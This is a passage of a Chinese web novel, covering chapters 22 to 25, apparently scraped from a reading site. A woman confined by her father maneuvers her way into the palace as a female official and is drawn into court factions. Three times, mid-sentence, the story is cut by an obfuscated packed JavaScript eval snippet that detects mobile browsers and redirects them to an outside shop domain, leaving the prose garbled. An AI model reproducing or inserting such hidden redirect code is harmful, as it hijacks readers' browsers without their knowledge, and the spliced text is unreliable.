“我委身蛮夷,是为了苟活,阿父弃城投降,也是为了苟活,谁又比谁高贵?世人若要戳脊梁骨,阿父觉得是戳我一个若女子的呢,还是阿父这个大魏宗室,当世名将的?你都没有想着死,凭什么为难我……” 话音未落,一声清脆的巴掌声便响彻了整间屋子。 门外侍立的仆婢都忍不住转身来看,更不要说屋中的人。各怀心思地声音嘈杂又凌乱的响起,有人幸灾乐祸,有人心疼焦急…… 萧恪举着自己发麻的手,怒气仍未减,瞠目瞪着这个大逆不道的女儿,恨不得将她凌迟。而贺兰却很平静,她掏出帕子拭着唇角蜿蜒而出的血,看着刺目的殷红一点点污了帕上皎洁绽放的梅花,只觉得她的人生便也如此罢了。 她俯身,对着十几年的生养之恩,盈盈一拜。 从此,她无牵无挂,只是自己。不会有第二个慕容泓,用所谓的血脉至亲来要挟她了,她该还的早就在日日夜夜的折辱中,还清了! 她转身,头也没有回地离开。 “你这个逆女,你要去哪儿,反了反了!”萧恪的怒吼声在身后传来,随之听到的是段氏假模假样的哄劝。 真刺耳啊,要是都闭嘴就好了。 她一面怨毒的想,一面来到了庭中。一道疾风卷起了地上的尘埃,往她的裙角扑来……原来未到秋日,也有这般凉意森森的时候啊! 22. 二十二、破牢笼 春雨潺潺,凉意乍生。小院寂寂,只能听到雨水打在梧桐枝干上的沙沙声,被子有些霉味,在这样的天气里又湿又重,盖着浑身发痒,难以成眠。 贺兰干脆起身,披了件旧衣,打算去院中坐坐。 刚出门就碰到了那个一脸凶相的高胖妇人。这是段夫人身边的仆妇,专门派来看着她的。 “这么晚了,女郎出门做什么。” “饿了,想吃点东西。”贺兰带着笑,并不打算和她起什么冲突。 不过主人家豢养的狗罢了,能听得懂人话就不是狗了。 “主君和夫人说,还请女郎好好想想。想明白了别说一口吃的,就算是山珍海味,渤海王府还能没有么?” 贺兰的笑越发深了,带了些嘲讽:“一个中书侍郎府邸都吃不饱饭,还能期待一个庶人?” 妇人的脸色极为难看,恶声催促道:“女郎这样说话,奴都不知道该怎么接了。不过主君和夫人下了指令,奴不敢不从,女郎回去吧,着了凉就不好了。” 贺兰拦住了闻声出来的素商,重重阖上了门扉。 她没想到,自己从燕关回来,不过是从一个牢笼到了另一个牢笼。她就这样被亲生阿父软禁在了屋中,像个待宰的羔羊一般,等着被择日送到庶人慕容泓的府上,美其名曰是全了忠贞之名。 多可笑,究竟他们谁更需要这个虚无缥缈的名声。 不过掩耳盗铃罢了,只要他能骗得过自己就好。段家颓势尽显,绝难重振,阿父要是愿意共沉沦,那她只当爱莫能助。 作为一个女儿,她已经做了太多,从他第一次将自己送给慕容泓起,养育之恩就已还清,燕关这一趟,权当是为了阿母。 贺兰不想去追悔自己当初一心为父,付出良多的可笑,此时此刻她只想自救。为了自救,她愿意将自己卖在另一场交易之中。 哪有机会悲伤,人生原本就是无意义的。 辗转了不足一个时辰,贺兰就已经有了主意。 “告诉阿父,就说我知道错了,我会如他所愿,去渤海王王府。”贺兰对妇人缓缓说道。夜色下的贺兰神色憔悴,那样的凄惶无助,与方才强硬冷淡的态度判若两人。 “女郎能想通便是最好的,给殿下做侧妃,是多少女子想都不敢想的福分。”妇人欣喜道。 还以为是个执拗的,准备了一箩筐的话等着哄,没想到才几个时辰便想开了。果然还是夫人有手段,这般娇滴滴的女郎,除了哭也就再无他法了。 …… 贺兰懒得多言,凉凉看了她一眼。 “福媪还不快去回话,难道真打算一直饿着娘子吗?”素商忿忿,恨不得将这个一脸刻薄相的老妇推出门去,省得娘子生气。 那老妇何曾受过这样的冷待,瞪了素商一眼,骂骂咧咧地往出走。 “等等!”贺兰喝住了她的脚步,“告诉我阿父,我明日要去景林寺给我阿母上柱香。毕竟……这么大的事也该让她知道吧。” …… 福媪将话很快传到。 一提到陆夫人,萧恪也有些怆然。 过往的画面,一遍又一遍地漫过脑海,好像浸了一汪月,带着涩涩的凉。 若当初守住了宛城,会不会和现在很不一样。一个贤惠美丽的夫人,一双聪慧乖巧的儿女,他的日子也曾让很多人深深羡慕过。 可惜啊,一切都毁在了那次围城中。当他跪下来,向着曾经自己最看不上的胡虏低头时,一切都注定回不去了。 一个南地的汉人,投降做了贰臣,又能过得多好?为此他不得不依附段氏,还有段氏身后的渤海王慕容泓。芜娘不懂,若是慕容泓能顺利即位,无论是她还是萧家,都会过得风光许多,再不受寄人篱下之苦。 “慕华,你会体谅我的,对不对?”萧恪捧起一盏酒,对着苍凉的月,缓缓倾杯。 不久后,府中忽然响起了琵琶声。奏得是南地的曲子,曲调哀怨,如泣如诉,让闻者揽衣徘徊,久不能眠。 贺兰也听到了乐声,一行泪蜿蜒而下,唇角却带了嘲讽的笑。 这样不值钱的深情和哀思,着实没必要,不然到时候连自己都骗到了,该有多荒谬。不过这个人还能有些虚伪做作的悲伤,对她来说不算坏事。 体面这个东西,只要不撕破,到底是能利用的。 福媪以为完成了任务,干脆一刻都不多留,好像在这个偏僻逼仄的院落里待久了,有失她的身份一般。空留了贺兰主仆二人在院中,倒是给了贺兰布局的机会。 “素商,我说得你都记住了吗?知道明日该如何做吧?”贺兰曼声道。 素商点头:“女郎放心,保证万无一失。” “我们时间有限,一刻都耽误不得。我能不能逃出生天,这次就全靠你了!”她殷殷看着素商,情不自禁地握紧了她的手。 “洛城的事儿还是我更熟悉一些,素商怕是连路都找不到。”黑暗中忽然传来一个声音,贺兰悚然一惊,循声而望,只见梧桐树上坐着一个人,模糊可辨出轮廓。 “环夫人,你回来了!”贺兰忍不住惊叫了一声,意识到什么后,又捂住了自己的唇,一路小跑到了树下。 环夫人翩然落下,轻盈地像是一只蝶。 “我回来太迟,让你受惊了!”她歉疚道,看向贺兰的眼神里带着藏也藏不住的心疼。 杀气尽敛,柔情满怀,她从来都不是一个合格的杀手,更不是一个合格的护卫。 “姊姊不会怪我舍你而去吧?”贺兰却扬眉一笑,顺手抱住了环夫人的胳膊,一甩一甩地撒娇,“你不知道,我可担心你了。” 担心……倒也没看出来多少,不过她该做的都做了,环夫人怎能心生龃龉,只会觉得贺兰聪慧。 “你没犯蠢到等我是对的,不然咱们谁都逃不了。”环夫人扯了扯贺兰的衣袖,示意她松开自己,又道,“你当真了解独孤策,那封信写得……我都心疼了。” “他竟然把信给你看了!”贺兰觉得脸都丢尽了,懊恼的跺了跺脚。 “什么信?”素商也来凑热闹。 “当然是闺中心思,爱恨无措一类的……”贺兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653778|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捂唇都来不及了,环夫人还是无情地说了出来。 “啊?”素商不解,疑惑地看着贺兰。 贺兰双颊红成一片,无奈道:“他吃软不吃硬,我不这样写,他如何肯放了你。总不能写‘自此一别,再不相见,人随你处置吧!’” 环夫人似笑非笑地点头:“芜娘聪慧,这下独孤策怕会更加念念不忘了,只是……” “什么?” “独孤策让我带这个给你,”环夫人从胸前掏出一个荷包,也转述了那句没头没脑的话,“帮他重绣一个,配色素一点,改日他亲自来取。” 改日……他想得美,此一别,他们不会再见面了。或许曾经有缘,但什么样的缘分可以经得起这样的消耗。少年意气终成空,一场不算美好的幻梦罢了。 …… 跪在蒲团上,贺兰望着眼前高大慈悲的卢舍那佛,心里却空成一片。好像有很多想求的,又好像一无所求。 都说卢舍那是现世佛,可是她连现世安稳都不敢奢求。 轻轻阖上双眸,念了句南无,深深跪拜了下去。 “贺兰娘子也信佛?”身旁响起一个清越的男声,淡淡的苏合香气碰撞着寺中浓郁的檀香,竟诡异的好闻。 又一次叩拜,单薄又倔强的脊背上,写满了虔诚。 她似乎没听到。 男子却不恼,又笑道:“或者本王不该叫你贺兰娘子,该叫你萧娘子才是。” “殿下想叫什么,就叫什么吧。”贺兰合十双手,默了半晌,才终于开了口。 “你让人请本王来的,现在又不理人,别告诉我你想玩什么欲擒故纵?本王不是独孤宗绪,不吃你这一套的。”男子的笑语中带着嘲讽。 贺兰缓缓睁开眼睛,漫不经心地睨了对方一眼,勾了勾唇角:“陈留王既然不吃这一套,那今日应约而来又是为何?” 跪在贺兰身边的,正是送亲归来的慕容泠。 他今日刻意打扮得低调。苍色斓衣上连暗纹都很收敛,是时下最寻常的忍冬纹样。不过他生得这般样貌,就算是平巾帻压低在额上,仍引得香客驻足观望。 “怎么选了这么个招摇的地方?”慕容泠低声抱怨。 “又不是偷情,还需要遮遮掩掩的?”贺兰反唇相讥。 她最是擅长发现人的软肋,此言一出,果然看到慕容泠被噎得说不出话,一张俊秀的脸一阵红白,好看得紧。 “你……”他指了指贺兰,无奈地摇头,“这还是在佛前,当真放浪!” 比这难听太多的话,贺兰也不是没听过,她浑然不在意地笑了笑,比了比手,示意他跟着自己走。 一株巨松,生在寺后的半山腰上,贺兰在树下站定,俯瞰着洛阳城的繁华盛景。寺中响起了阵阵钟声,悬在浮屠上的金铎也跟着一阵轻响。 “我要进宫,殿下帮我安排吧。”贺兰回头,对慕容泠笑道。 女子多善笑,她更是其中佼佼。有时妩媚,有时娇俏,有时高傲……但慕容泠发现,这个女人笑不达心,美则美矣,看久了就渗人得很。 23. 二十三、攻心语 “入宫?”慕容泠被逗笑了,嘲讽地看着眼前这个狂悖自负的女子,“这么快就看不上独孤宗绪了,想要跟了我父皇做皇妃?” 贺兰愣了一下,心里默默翻了个白眼,看向慕容泠的眼神都带了些嫌恶。 “殿下放心,我暂时没有给你当庶母的打算。”贺兰曼声道,“不过是听说陛下有旨,要选一批官宦人家的女子进宫去做女官,想着能不能从殿下这里讨个前程。” 旨意确实有,不过擢拔了数月也没有太大进展。 贵女入宫为女官,乃本朝初立时的便定下的。女官有品级享俸禄,且多为品德高尚学识渊博的女子,出宫结亲很受追捧,故而被认为是对勋贵高官之家的奖赏。可当今圣上嗜杀,去岁因故杀了十几个女官后,这份差事就成了谁家都不愿触的霉头了。毕竟贵女骄矜,能在宫外平安富贵,何必去宫里战战兢兢。 慕容泠不免好奇,不知她为何会有这样的决定:“说说你的理由,不然你在宫中获了罪,连累到孤怎么办?” 贺兰并不隐瞒:“不去宫里,就该给你那个好兄弟做妾了。” 慕容泠被她的坦白逗笑了,一双桃花眼潋滟地看着她,调侃道:“他虽然暂时失势,难保不会有东山再起的一天,若将来他继承大统,你也该封个昭仪什么的。怎么,连这个都不敢赌?” 贺兰勉强哼了一声,算作应答,也不想和他纠缠在这样无聊又无意义的假设之中。慕容泓能不能东山再起,眼前这个喜欢将杀招藏在温和多情外表之下的人,怎会不清楚。 “陛下因景怀太子一事,迁怒女官,曾言再不擢拔女官入宫,为何偏又开始选了,殿下可想过么?”正午的阳光灼热明亮,贺兰不觉眯了眯眼眸。 慕容泠哂笑:“自然是为了那个女人。” 一个身份见不了光的女人,偏成了大晋最炙手可热的存在。听说她即将临盆,若是诞下男婴,父皇还真有可能立她为后,那时子以母贵…… 慕容泠不敢想下去了,就怕兄弟勾心斗角了这么久,终究为他人做了嫁衣裳。 “听说她是魏女,恰好,我也是。”贺兰道。 慕容泠瞬间明白了她的意思,他久久望着贺兰,却没有说话。 贺兰莞尔一笑,不再多言,盈盈一拜后,转身离开。 “殿下快些行动吧,机不可失,若太迟,我可就爱莫能助了。”她的声音渺渺而来,带着散漫的自信。 分明是她求帮助,怎么反过来成了自己有求于人。 这个女人当真狡猾又可恶。 …… 福媪将首饰送来时,脸上带着几分轻蔑:“夫人说了,这些都给女郎,可得打扮地漂亮些才好。” “我天生丽质,何须费心打扮,”贺兰反唇相讥,“不过也多谢夫人美意,我就不客气了。” 说罢,命素商将这些金饰玉钗都收了。虽然算不得精致,但到手的钱,没有退回去的道理。 福媪脸色黑了下去,冷哼一声,接着传话:“夫人让奴问问女郎,准备何时出发?” “急什么,不是你们说让女郎好好打扮么,且等着吧。”素商在贺兰的撑腰下,胆子也大了许多,和这些人说话时,并不打算怎么客气。 福媪瞪她,她也回瞪过去。 反正也逃不了,就让她们磨蹭些时候又能如何。福媪得了段夫人的命令,带着几个护卫守在门外,一副看管犯人的姿态。 贺兰对镜,用手点了点朱唇,嫣然一笑。 “宫里的旨意也该来了吧。”素商心急,觑着外面的天色,叹道。 “我想不明白,你要想逃,哪里去不得,为何偏偏要入宫?”环夫人从屏风后走出,抱臂将剑横在胸前。 “原本也想着与你一道南归,但是……”她从头上拔下一支步摇,嫌恶地扔在了首饰盒中,“我不甘心啊!” 不甘心慕容泓还活着,不甘心段氏虚伪的面具还没撕下,不甘心就这样被亲生父亲抛弃,更不甘心绕了一大圈,还像只丧家之犬般四处逃难。 南归……怎好面对阿母。 “回到大魏,不还是寄人篱下么?到时候又能遭遇什么谁能知道。本朝女官地位尚可,若是侍奉得宜,说不定还能有一番成就。到时就不会像现在这样让人践踏欺辱,连还手之力都没有。” “可奴听说,女官若到了一定品级,再想出宫就难了。”素商忐忑开口。 “便是能出宫,也得数年,到时你都多大了。”环夫人也缓声道。 贺兰摇头,苦笑:“我早就断了嫁人生子的念头了,活着已经很不易,何必找个人互相折磨。本朝有律,女官若能出宫,可另立女户,到那时嫁不嫁人有什么干系。” 说罢,像是又被自己离经叛道的说法逗笑了,幽幽道:“这一入宫,段氏的算盘就白打了,想想也痛快。” 环夫人知道劝她不如不劝,深叹了一口气。 “宫里允许带两个贴身侍婢,你若是再叹气,我便只带素商了。”贺兰亲昵地往环夫人身边凑了凑,“这次你可不是医女身份了,不用再费心读医术了。” “不管做什么,能让我跟在你身边就好。” 素商在旁边也重重点起了头。 “想想也太委屈你们了,本该在宫外逍遥自在的……”贺兰垂眸,眼中带着几分怆然,“尤其是素商,这一去也不知该多少年,怕是会误了你的终身大事。” “女郎不嫁,难道奴就想嫁么?这世道纷乱,是人是鬼谁能说得清楚,若是所托非人,后悔都来不及了,怎么想都是跟着女郎好啊!” “别看我,我是什么情况你最知道。”环夫人将怀中的剑细细端详了许久,满是不舍,“只是这东西跟了我许久,不能继续带在身边,怪可惜的。” 环夫人的这柄剑,像是她的另一只臂膀,她很少离身。听闻这是把名剑,当年在汉水边,一位郎君送给她的。后来那位郎君死在了宛城之战中,从此她便只肯让人叫她环夫人,就连贺兰也不知道她原本的姓名是什么。 “我会替你找个妥当的地方保存。”贺兰将手放在她的手上,那只手总是冰冷。 环夫人默然点头,没再说什么,手却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666926|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摩挲着剑鞘上的花纹,依依伤怀。 …… 圣旨到来时,整个府里都陷入了慌乱。 萧恪战战兢兢地接了旨,在确定不是什么降罪遭祸的大事后,长长舒了口气,但很快又燃起了其他的愤怒。 所以当他到贺兰院中时,脸色仍很难看。 贺兰没有打扮,只穿着一身家常的衣衫,楚楚地立在院中的梧桐树下。素白的一张脸,只需娥眉淡扫,就已是难得的绝色。 听到有人来,她微微侧首,脸上带着一个疏离的笑。 萧恪莫名就软了心肠。她和慕华当真像极了…… 宛城一战,慕华和英儿都死了,这人世间便只有他们父女相依为命……到底是自己对不住她。 “宫中有旨,命你入宫为女史。” 她笑意嫣然,似乎半点也不惊讶。 “你早就知道?”轮到萧恪惊讶。 她却也不瞒,如实点头:“不进宫,等着阿父再将我送到慕容泓身边么?” 萧恪觉得自己错了,她根本不像慕华。慕华从来都温婉和顺,怎会有这样狂悖的一面。 “你如今的主意越发大了,连阿父都不放在眼里。”萧恪向贺兰走近了几步,俊目中怒火灼灼,而怒火里又夹杂了几分失望。 贺兰仰头,笑得甜美。 “我一向有主意,阿父不该不知道。”说出来的话却冰凉冷漠,“若是没有主意,早死了,哪能活到今日。” “当初阿父弃城,也没告诉我一声,我一路北逃,若不是环夫人保护,在司州就被人吃了。” “好容易到了贺兰部,又被鲜卑人排挤欺凌,只能仗着样貌尚可,认贺兰越作义父,任他驱使。” “嫁了独孤策,以为终于能过几日太平日子,他又将我抛下,让我一个人应对别人的欺辱和嘲讽。” “贺兰越干脆将我视为弃子,施舍一口饭都嫌多余。慕容泓去贺兰部时,不过多看了我一眼,他就将我双手奉上。我苦苦哀求,哪怕以死相逼都无用。” “可是我的好阿父,那些时日你又在哪里,在做什么?我满心欢喜地来投奔你时,你又做了什么?” “你与贺兰越有什么区别,不过是个卖女求荣的伪君子。你对不起我阿母,对不起我阿兄,更对不起宛城那些死去的亡灵。” 贺兰的眼中猩红一片,脸色却夸张的惨白。说这么多话,用尽了毕生的气力般,到最后也没有觉得爽快,只觉得心底一片荒芜。 萧恪目眦具裂地看着这个无君无父的逆女,快要扬起的大掌,在烦乱的心绪下,又颓然放下。一字一句,好像一把刀在心口剜来剜去,搅得他所有的气血都在倒行逆施,横冲直撞。 “给我把刀,让我杀了这个逆女!”他的气愤,已经变得口不择言。 哪里是生气,不过是无话可说,无理可辩。他妄图用父亲的权威,压下一个女儿无情的指控,想要让她无条件的乖顺忍让下去,做好他手中的木偶和工具。 可她不会这么做,她不能妥协。她连死都不怕,怕什么众叛亲离。 24. 二十四、雪中客 自此一别,就不要再见了,原本就不该期待什么。 “夫主,听说芜娘要入宫?这……怎么会这样!”段夫人的声音传来,刺破了父女之间的僵持。 看到她病恹恹地扶婢而来,贺兰拭干了脸上的泪,撇嘴一哂。 “对了,忘记告诉阿父了,”她刻意提了提声音,“想要指望慕容泓东山再起,怕是不能了。毕竟,一个诞不出子嗣的皇子,怎堪继承大统……” “你什么意思?”段氏推开了侍女,趋步上前,脸色很难看。 贺兰环视四周,皱了皱眉,压低了些声音,几乎是对着段氏耳语般:“他乱吃丹药伤了身子,再不能人道,夫人竟然不知吗?” “你……”听闻此言,段氏的嘴唇都失了颜色,怔怔指着贺兰,眼里满是怨毒。 “与其指望他,不如指望女儿。毕竟一家人么,若是有朝一日我飞黄腾达了,难道还会亏待父母大人么?”最后几个字咬得重,像是一种威胁。 “你到底想要干什么?”萧恪切齿。 “萧家一损俱损,一荣俱荣,这个道理阿父比我清楚。此番入宫,少不得阿父出些力气,不然我若是在宫中获罪了,依陛下的性子,株连九族都是轻的……” “那可怎么办呀!”她一双眼睛无辜地眨呀眨,灵动如幼兽,但萧恪看得出,她已经悄悄长出了爪牙,随时准备撕碎一切。 萧恪失望地闭上了眼睛,无奈地点了点头。 不得不说,阿父的无奈,段氏的愤怒,在她看来都觉得万分爽快。她不是一个容易原谅的人,有些伤害造成了,就是覆水难收,她一定要讨回来的。 多好,他们再恨她,都是无能为力的,只能任她驱使。 …… 贺兰踏入平朔门的那一天,是晴空万里的好天气,炙热的太阳悬在天上,灼得脸上的妆容都有些浮。 洛阳不知不觉就入了夏,没有半点征兆。 贺兰扶了扶头上繁重的十字髻,在宫人的带领下,来到了尚宫署一处院落中。廊腰如蛇行,屋舍如鳞比,初生的薜荔爬满粉墙,给这森然的环境平添了几分生机。 宫人普遍穿着青色束腰的襦裙,这样的装扮将腰勒得极细,显出五分窈窕之态,但单调的配色又让另外五分失之沉闷。 “萧书史,这便是你的住处了,稍后奴会带你去见元内司,这次入宫的女官,皆由她负责。” 宫人奉上一件玄衣赤裳的褖衣,恭谨将她请入屋中。 屋中设施清素简单,却也算得宽敞,至少比她在萧府的条件要好得多。她注意到,窗边放着一个白瓷花瓶,里面插着一只打着朵儿的菡萏,娇嫩的颜色在日光的照耀下,透着让人怜爱的美。 莫名觉得舒服。或许进宫这个选择于她而言是对的,她也该有一个自己的活法,不要纠缠在那些无聊的爱恨中。 笼冠覆发,到底比十字髻多了几分利落。贺兰端详着镜中的自己,恍惚有隔世重活之感。她对着镜子,放下了唇角。 她不爱笑的,也厌倦了自己工谗善媚的模样。她觉得自己的心境像一片荒草地,也不知会不会有春风到来,唤醒快要腐烂的自己。 …… 元内司穿着赤色的二品袍服,头上亦带了笼冠,于屏风前正襟危坐。她样貌普通到几近平庸,细长的眼,窄窄的脸,还有尖尖的下巴。可是她坐在那里,却偏有种高华的气度,让人见之忘俗。 “女史之职,聆女训,宣女德,掌文书,需德才兼备者才可任之。你等虽为女子,亦幼承庭训,书礼伴之,并不比男儿差什么。今次入宫,尽好本职自是必须,但亦该精进学识,涵养品性,如此才能不负家族之望。” 她言语简单,但字字清晰入耳。 此次一同进宫的还有两位贵女,年岁都不大。她们三人皆被授了女史之位,地位已算中上,必然受了家族余荫,不过是用一个体面的身份,给自己镀层金,待过些年头便可风光嫁人了。 不过坐在上首的这一位,显然已过芳华,而她的言谈似乎也不大认可世俗之见。贺兰虽未多言,但心里已有佩服之意。 略交代了几句职责,元内司便吩咐退下了。贺兰脚步方动,又听她道:“萧女史留步。” 贺兰脚步顿住,在其他人讶异地目光里,又挪回了原地。 屋中燃着清冽的香气,细细嗅来,是龙脑与薄荷。元内司起身,缓步走到贺兰面前,微微打量了几眼,浅笑了一下。 “有人托我给你一个东西,”她开口时,声音与香气一样清冷,“在这宫中,有人照拂是好事,但到底不比外边,能依靠的只有自己。” 贺兰忖了忖她的意思,垂首恭谨道:“既然已入宫,小臣自然谨守本分,绝不给内司添麻烦。” 元内司的便面轻轻动了动,拂过贺兰的衣袂。她示意宫人拿上来一把泛旧的琵琶,端详了几眼,似乎无意般地说道:“娘娘很喜欢听琵琶,可惜没人能奏到她心上。” 贺兰伶俐,虽然不知道她口中的“娘娘”是哪一位,却还是道:“小臣技艺平庸,不过若是娘娘有需要,小臣愿意献丑,博她一笑。” 元内司睇了贺兰一眼,并未赞赏她的乖觉,只是道:“伶俐太过,在宫中也是大忌。你心性太浮,不如先陪我读一段时间书吧,莫要得罪贵人。” 贺兰不满她的喜怒无常和严肃苛刻,却还是答应了下来。身在矮檐下,总是要先学会低头,这个道理她懂。 …… 读书的岁月平静如水,却是她这么多年过得最好的一段日子。贺兰体会到前所未有的平静和充实,若日子就这样下去,倒也算不得坏。 转眼寒暑更替,已过半年。 贺兰从天禄阁踱步而出时,正是傍晚。天灰蒙蒙的,扑面而来的寒风里,忽然卷起几颗零星的雪珠子,像是被人扯碎的棉絮,刚落在衣裳就立刻消融,浅浅的一点湿痕。 “这洛城的雪,下得倒是秀气。”素商一面感慨,一面将大氅披在了贺兰的身上。 读了一整天的书,贺兰觉得脖颈有些发酸。她晃了晃脑袋,伸手出去,感受着一点清凉消融于掌心的奇妙感觉。 余光却忽然瞥到,一个赭衣宫人正藏在老槐树后,对着她挤眉弄眼,鬼鬼祟祟。 贺兰皱眉,示意素商前去探查:“若是寻我,就悄悄将人带回柳园。” 洛城宫里的许多地方名字都起得很敷衍,譬如梅树多的地方就叫梅园,芍药开得好的地方就叫芍园,贺兰的住所自然是因为旁边临着湖,栽着很多绿柳。 湖边夏季蚊虫多,冬天又阴冷,众人避之不及,难得贺兰不嫌弃。她不过是喜欢清净罢了,一个四品的女官,能有处独立的住所,还奢求什么。 宫人被带来时,衣衫已经失了半边,想来等了她许久。 “说罢,什么事?”门扉阖上后,贺兰递了一杯茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678670|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她,温和道。 宫人感激万分,捧着茶盏,脸上氤氲着雾气,声音又僵又抖:“殿下让奴来告知大人,三日后崇训殿那一位将来天禄阁阅书,若是打人能把握机会,一飞冲天也不是什么难事。总比庸庸碌碌,日复一日抄书来得好。” 这的确是慕容泠会说出来的话。 抄书呀,其实也没什么不好的,不过她确实还有未了之事,心若是无法平静,纵使岁月再安好,也不过是自欺欺人。 “回去告诉你家殿下,让他安心筹备婚事,说不定到时我还会送他一份大礼呢。” 宫人呆呆的,胡乱应了个是,然后匆匆告辞。 晚膳时,雪又大了些,再不是轻如飞絮的样子。贺兰置了酒,就着一盘午间剩下的枣子,邀着素商一道浅斟慢饮。 “今日是什么特别的日子吗?”素商问道。 “不是什么日子,就当时想喝酒了。”贺兰笑道,刚几杯下去,眼里已有了几分熏然。 “又骗人了,今日分明是你的生辰,夫人曾告诉过我。”环夫人被宫规束缚了太多日,此时无外人,干脆坐在廊庑的栏杆上,独自持壶畅饮。 她酒量一贯好,宫里的酒对她来说寡淡的厉害。 素商听闻此言,颇激动,说了几句吉祥话,又匆忙说要去再准备些菜。 “这是宫禁,你从哪儿去寻菜肴。”贺兰扯住了她的衣袖,笑着劝阻。 “却不知今日是女史生辰,冒昧叨扰,不过这几盘点心却也是歪打正着了。”一个赤色的伞穿过缭乱的雪幕,徐徐靠近。 元内司一身青衣,如松如柏。 环夫人从栏杆上跳了下来,脚步忽然踉跄了一下,可见再淡的酒,喝多了亦会醉人。 贺兰行礼,神色间也颇有几分意外:“内司大驾光临,是小臣失礼,未能早早迎候。” “我并未让人通传,失礼的人该是我才对,”她浅笑一下,难得温和,“萧女史总这般拘束多礼,倒显得生疏了。” 贺兰忙说不敢,请她向内室而去。又吩咐素商将门扉阖上,莫让寒气侵扰来客。 元内司摇头,坐在了贺兰方才坐过的小榻上。这一处正对着窗外纷纷落落的雪,也看得到廊下森森摇曳的树影。 “听闻南朝尚风雅,女子亦讲林下之致,今日见萧女史对月饮酒,方知所言不虚。”她淡启朱唇,带着欣赏之意。 贺兰忙以新盏相敬,口中问道:“雪天路滑,内司怎么来了?” 元氏睨了她一眼,对她的过分谨慎表示不满:“莫要多心,不过是读到一首好诗,苦于无人分享,便想到你了。” “你虽爱藏拙,但腹内诗书明显超出众人许多,又加之勤勉好学,不耻下问,若是能一心治学,假以时日或可比肩前朝张大家,徐婕妤。” 贺兰觉得她谬赞了,只含笑不接话。 “我今日忽然生出了一个想法,或许听着荒唐,但还是想问问你的意思?”元氏继续道。 “内司但说无妨。”贺兰应道。 “天下史书多为男子歌功颂绩,却鲜有为女子单独著书立史的。我姑母生前曾有此愿,但只完成了前两卷便撒手人寰。这件事便落在了我身上,我曾答应过她,此生不嫁,只为完成她的遗愿。可是等到真正着手时,才发现何其难也,只宫中藏书整理起来就颇棘手,两年时间进展缓慢。所以我想邀你一起,共同完成此事,你可愿意?” 25. 二十五、灯下思 著书修史这件事于贺兰而言,太过不切实际。当年她的阿母陆氏,何等博闻强识,才华出众,也未曾有过这样的机会。她漂泊多年,早就荒疏了学业,又怎敢担此大任。何况,进宫不过半年,她对这里的了解不算多,哪里敢轻易做什么决定。 宫闱凶险,人心难测,这是她从史书中读到的道理。 元内司看出了她的迟疑,却也不勉强,只是温言道:“你不用着急答复我,最近我也没有空暇。” 她顿了顿:“新后的册封礼在即,陛下的意思是越盛大越好,前朝都已经忙得团团转了,更遑论我们。” 崇训宫生子已有月余,封后是迟早的事。贺兰其实也好奇,究竟是怎样的美人,又是什么样的身份,才能被深埋着身份,直到现在都像个诡秘的禁忌,却又被一力捧到这个这样高的位置,不容任何人质疑。 “内司辛苦了,若是有事能用上小臣,小臣自当肝脑涂地。”贺兰认真地承诺。 元内司见她真诚,笑道:“自然是少不得用你,你这样伶俐的人若不帮忙,可有我忙得了。不过在这之前,我还需提醒你一件事。” 贺兰做洗耳恭听状。 元内司瞥了几眼素商和环夫人,欲言又止。 “她们是我从家中带来的,内司直言无妨。”贺兰回道。 元内司敛着表情,声音低沉:“今日有人向我传话,说你或与宫外贵人有勾连。自然,我是不信的,你这样聪慧的女子,定不会将自己置于险地。” 贺兰悚然一惊,本能出言否认。 “陛下的脾气你或许不知,他最厌恶两件事,一是有人提及景怀太子旧事,第二便是皇子诸王结交内廷。先前有近宦替始安王美言,可是被他亲手活活打死的,死后犹不解恨,尸体放在宫道上,摆了三日。” “内司放心,我惜命得很,不会做这些。”话是这么说得,但后背还是渗出了冷汗。 贺兰知道,若是背后有了眼睛盯着,无论自己做得多么谨慎,也会被人捉了把柄。这次是告到了元内司处,下一次呢? 贺兰暗暗看了眼元内司,她说这些话给自己又是何意?不过依照她的所为来看,像是拉拢之举,目下是友而非敌。 不过元内司的背后又是哪个势力呢?投靠了真得还能回头吗? “瞧你,一口一个内司,说了这么多,偏生分如此。”元氏握住了贺兰的手,“我闺名鸿仪,若是觉得拗口,叫姊姊也可以。” 贺兰知道,话已经说到这般分明的境地,便是容不得她摇摆了。站队固然有风险,但不站死得更快。 于是含羞道:“内司爱重,是芜娘的福气,日后私下里便冒昧称您一声‘姊姊’,到了人前我可没有那么大胆子。” 元内司对她的态度显然是满意的,握了握她的手,状若无意地夸赞道:“宫人私下里都称你为‘玉人’,瞧瞧,单这双手都精妙如此。” 